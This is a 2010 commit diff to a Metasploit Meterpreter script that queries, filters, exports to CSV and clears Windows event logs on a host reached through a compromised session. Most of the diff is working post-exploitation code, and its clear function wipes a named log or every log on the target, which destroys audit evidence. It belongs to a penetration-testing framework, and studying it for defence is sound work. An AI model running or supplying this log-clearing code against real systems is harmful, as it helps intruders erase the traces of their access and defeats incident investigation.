Improvements thanks to jcran and some changes when used with sessions -s and AutoRunScript

git-svn-id: file:///home/svn/framework3/trunk@10826 4d416f70-5f16-0410-b530-b9f4589650da
unstable
Carlos Perez 2010-10-26 02:30:08 +00:00
parent 4054a21ec9
commit fc3df2303a
1 changed files with 150 additions and 101 deletions

View File

@ -4,20 +4,24 @@
#------------------------------------------------------------------------------- #-------------------------------------------------------------------------------
################## Variable Declarations ################## ################## Variable Declarations ##################
@client = client @client = client
clear_evt = false eventlog_name = nil
event_name = nil print_logs = false
log_path = nil list_logs = false
supress_print = nil clear_logs = false
local_log = false
local_log_path = nil
supress_print = false
filter = '\d*' filter = '\d*'
filter_string = "*"
meter_type = client.platform meter_type = client.platform
opts = Rex::Parser::Arguments.new( opts = Rex::Parser::Arguments.new(
"-h" => [ false, "Help menu." ], "-h" => [ false, "Help menu" ],
"-i" => [ false, "List Present Event Logs on the System and thrie configuration"], "-i" => [ false, "Show information about Event Logs on the System and their configuration"],
"-e" => [ true, "Event Log to Open."], "-l" => [ true, "List a given Event Log (or ALL if no argument specified)"],
"-f" => [ true, "Event ID to filter events on."], "-c" => [ true, "Clear a given Event Log (or ALL if no argument specified)"],
"-l" => [ true, "Log to CSV file, path for folder to save log can be provided."], "-f" => [ true, "Event ID to filter events on"],
"-c" => [ false, "Clear a given Event Log or all if none specified."], "-s" => [ true, "Save logs to local CSV file, optionally specify alternate folder in which to save logs"],
"-s" => [ false, "Suppress printing filtered logs to screen."] "-p" => [ false, "Supress printing filtered logs to screen"]
) )
@ -25,7 +29,7 @@ opts = Rex::Parser::Arguments.new(
# Usage Message Function # Usage Message Function
#------------------------------------------------------------------------------- #-------------------------------------------------------------------------------
def usage def usage(opts)
print_line "Meterpreter Script for Windows Event Log Query and Clear." print_line "Meterpreter Script for Windows Event Log Query and Clear."
print_line(opts.usage) print_line(opts.usage)
raise Rex::Script::Completed raise Rex::Script::Completed
@ -34,17 +38,54 @@ end
# Wrong Meterpreter Version Message Function # Wrong Meterpreter Version Message Function
#------------------------------------------------------------------------------- #-------------------------------------------------------------------------------
def wrong_meter_version(meter = meter_type) def wrong_meter_version(meter = meter_type)
print_error("#{meter} version of Meterpreter is not supported with this Script!") print_error("#{meter} version of Meterpreter is not supported with this script!")
raise Rex::Script::Completed raise Rex::Script::Completed
end end
# Function for Enumerating EventLogs # Function for Enumerating EventLogs
#------------------------------------------------------------------------------- #-------------------------------------------------------------------------------
def info_evt() def get_log_details
logs_detail = Array.new
eventlog_list.each do |log_name|
# Create a hash to store the log info in (and throw default info in)
log_detail = Hash.new
log_detail[:name] = log_name
log_detail[:retention] = "Disabled"
log_detail[:size] = 0
log_detail[:number_of_records] = 0
key = "HKLM\\SYSTEM\\CurrentControlSet\\Services\\"
if @client.sys.config.sysinfo['OS'] =~ /Windows 2003|.Net|XP|2000/
key = "#{key}Eventlog"
else
key = "#{key}eventlog"
end
begin
unless (registry_getvaldata("#{key}\\#{log_name}","Retention") == 0) then log_detail[:retention] = "Disabled" end
log_detail[:size] = registry_getvaldata("#{key}\\#{log_name}","MaxSize")
# Open the event log
eventlog = @client.sys.eventlog.open(log_name)
log_detail[:num_of_records] = eventlog.length
rescue
log_detail[:num_of_records] = "Access Denied"
end
logs_detail << log_detail
end
return logs_detail
end
# Function for Printing Event Log Details
#-------------------------------------------------------------------------------
def print_log_details
print_status("Retriving Event Log Configuration") print_status("Retriving Event Log Configuration")
ret = "Enabled"
size = 0
record_num = 0
tbl = Rex::Ui::Text::Table.new( tbl = Rex::Ui::Text::Table.new(
'Header' => "Event Logs on System", 'Header' => "Event Logs on System",
'Indent' => 1, 'Indent' => 1,
@ -52,39 +93,27 @@ def info_evt()
[ [
"Name", "Name",
"Retention", "Retention",
"Maximun Size", "Maximum Size",
"Records" "Records"
]) ])
eventlog_list.each do |en| eventlog_details = get_log_details
key = "HKLM\\SYSTEM\\CurrentControlSet\\Services\\"
if @client.sys.config.sysinfo['OS'] =~ /Windows 2003|.Net|XP|2000/ eventlog_details.each do |log_detail|
key = "#{key}Eventlog" tbl << [log_detail[:name],log_detail[:retention],"#{log_detail[:size]}K",log_detail[:num_of_records]]
else
key = "#{key}eventlog"
end
begin
if registry_getvaldata("#{key}\\#{en}","Retention") == 0
ret = "Disable"
end
size = registry_getvaldata("#{key}\\#{en}","MaxSize")
log = client.sys.eventlog.open(en)
record_num = log.length
rescue
record_num = "Access Denied"
end
tbl << [en,ret,"#{size}K",record_num]
end end
print_line("\n" + tbl.to_s + "\n") print_line("\n" + tbl.to_s + "\n")
end end
# Function for doings queries of EventLogs # Function for doings queries of EventLogs
#------------------------------------------------------------------------------- #-------------------------------------------------------------------------------
def list_logs(event_name,filter,logs,sup_print) def list_logs(eventlog_name,filter,filter_string,logs,local_log,sup_print)
begin begin
event_data = "" event_data = ""
csv_data = "EventID,Date,Data\n" csv_data = "EventID,Date,Data\n"
log = client.sys.eventlog.open(event_name) log = @client.sys.eventlog.open(eventlog_name)
log.each_backwards do |e| log.each_backwards do |e|
if e.eventid.to_s =~ /#{filter}/ if e.eventid.to_s =~ /#{filter}/
if not sup_print if not sup_print
@ -104,66 +133,67 @@ def list_logs(event_name,filter,logs,sup_print)
end end
end end
rescue rescue
print_error("Failed to Open Event Log #{event_name}") print_error("Failed to Open Event Log #{eventlog_name}")
raise Rex::Script::Completed raise Rex::Script::Completed
end end
log_file = File.join(logs, "#{event_name}.csv")
if local_log
log_file = File.join(logs, "#{eventlog_name}.csv")
print_good("CSV File saved to #{log_file}") print_good("CSV File saved to #{log_file}")
file_local_write(log_file,csv_data) file_local_write(log_file,csv_data)
end end
end
# Function for clearing EventLogs # Function for clearing EventLogs
#------------------------------------------------------------------------------- #-------------------------------------------------------------------------------
def evt_clear(evt) def clear_logs(log_name=nil)
evntlog = [] log_names = []
if evt.nil? if log_name.nil?
evntlog = eventloglist log_names = eventlog_list
else else
evntlog << evt log_names << log_name
end end
evntlog.each do |e|
log_names.each do |name|
begin begin
print_status("Clearing #{e}") print_status("Clearing #{name}")
log = client.sys.eventlog.open(e) event_log = @client.sys.eventlog.open(name)
log.clear event_log.clear
print_status("Event Log #{e} Cleared!") print_status("Event Log #{name} Cleared!")
rescue rescue
print_error("Failed to Clear #{e}, Access Denied") print_error("Failed to Clear #{name}, Access Denied")
end end
end end
return evntlog
return log_names
end end
################## Main ################## ################## Main ##################
opts.parse(args) { |opt, idx, val| opts.parse(args) { |opt, idx, val|
case opt case opt
when "-h" when "-h"
usage usage(opts)
when "-i" when "-i"
info_evt print_logs = true
print_log_details
raise Rex::Script::Completed raise Rex::Script::Completed
when "-c"
clear_logs = true
eventlog_name = val
when "-l"
list_logs = true
eventlog_name = val
when "-f" when "-f"
filter = val filter = val
when "-e" when "-s"
eventlog_list.each do |en| local_log = true
if en.downcase == val.downcase
event_name = en
end
end
if not event_name
print_error("Eventlog Name Not Found!")
raise Rex::Script::Completed
end
when "-l"
if File.directory?(val) if File.directory?(val)
log_path = val local_log_path = val
else else
print_error("Log folder #{val} does not exist!") print_error("Log folder #{val} does not exist!")
raise Rex::Script::Completed raise Rex::Script::Completed
end end
when "-c" when "-p"
clear_evt = true
when "-s"
supress_print = true supress_print = true
end end
} }
@ -171,7 +201,11 @@ opts.parse(args) { |opt, idx, val|
# Check for Version of Meterpreter # Check for Version of Meterpreter
wrong_meter_version(meter_type) if meter_type !~ /win32|win64/i wrong_meter_version(meter_type) if meter_type !~ /win32|win64/i
if event_name # Print usage & exit if the user didn't specify an action
# to default to just running for all logs)
if !list_logs and !clear_logs and !print_logs
usage(opts)
end
# Log Folder Creation # Log Folder Creation
#----------------------------------------------------------------------- #-----------------------------------------------------------------------
@ -181,22 +215,37 @@ if event_name
# Create Filename info to be appended to downloaded files # Create Filename info to be appended to downloaded files
filenameinfo = "_" + ::Time.now.strftime("%Y%m%d.%M%S") filenameinfo = "_" + ::Time.now.strftime("%Y%m%d.%M%S")
# Create a directory for the logs # Create a directory for any local logging if the user desires
if log_path if local_log
logs = ::File.join(log_path, host + filenameinfo ) if local_log_path
logs = ::File.join(local_log_path, host + filenameinfo )
else else
logs = ::File.join(Msf::Config.log_directory, "scripts", 'event_manager', host + filenameinfo ) logs = ::File.join(Msf::Config.log_directory, "scripts", 'event_manager', host + filenameinfo )
end end
# Create the log directory
::FileUtils.mkdir_p(logs) ::FileUtils.mkdir_p(logs)
#----------------------------------------------------------------------- end
if not clear_evt # List the logs if the user desires
list_logs(event_name,filter,logs,supress_print) if list_logs
if eventlog_name
list_logs(eventlog_name,filter,filter_string,logs,local_log,supress_print)
else else
evt_clear(event_name) eventlog_list.each { |eventlog_name|
print_status eventlog_name + ": "
list_logs(eventlog_name,filter,filter_string,logs,local_log,supress_print)
}
end end
end
# Finally, clear the specified logs if the user desires
if clear_logs
if eventlog_name
clear_logs(eventlog_name)
else else
usage eventlog_list.each { |eventlog_name|
print_status eventlog_name + ": "
clear_logs(eventlog_name)
}
end
end end